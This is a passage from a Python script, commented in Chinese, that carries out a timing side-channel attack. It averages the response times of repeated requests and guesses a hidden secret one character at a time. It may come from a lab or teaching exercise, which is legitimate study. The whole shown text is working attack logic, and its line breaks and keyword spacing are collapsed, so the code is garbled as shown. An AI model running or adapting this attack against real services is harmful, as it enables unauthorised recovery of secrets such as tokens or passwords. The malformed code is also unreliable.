times = [] for _ inrange(REPEAT): t = time_request(token) times.append(t) # 使用中位数或平均值,提高稳定性 avg = statistics.mean(times) return avg
defrecover_secret(): """ 利用时序攻击一点点恢复 SECRET。 """ guessed = ""# 目前已经猜到的前缀 for pos inrange(SECRET_LEN): print(f"\n[+] Recovering position {pos} (0-based)...") best_ch = None best_time = -1.0 record = []
for ch in CANDIDATE_CHARS: avg_time = measure_candidate(guessed, pos, ch) record.append((ch, avg_time)) print(f" test char '{ch}': avg_time = {avg_time:.6f} s")
if avg_time > best_time: best_time = avg_time best_ch = ch
# 排序输出一下(可选),方便你观察 record.sort(key=lambda x: x[1], reverse=True) print("\n [*] Top 5 candidates by time:") for ch, t in record[:5]: print(f" '{ch}': {t:.6f} s")
guessed += best_ch print(f"[+] Best guess for position {pos}: '{best_ch}'") print(f"[+] Current guessed secret: {guessed!r}")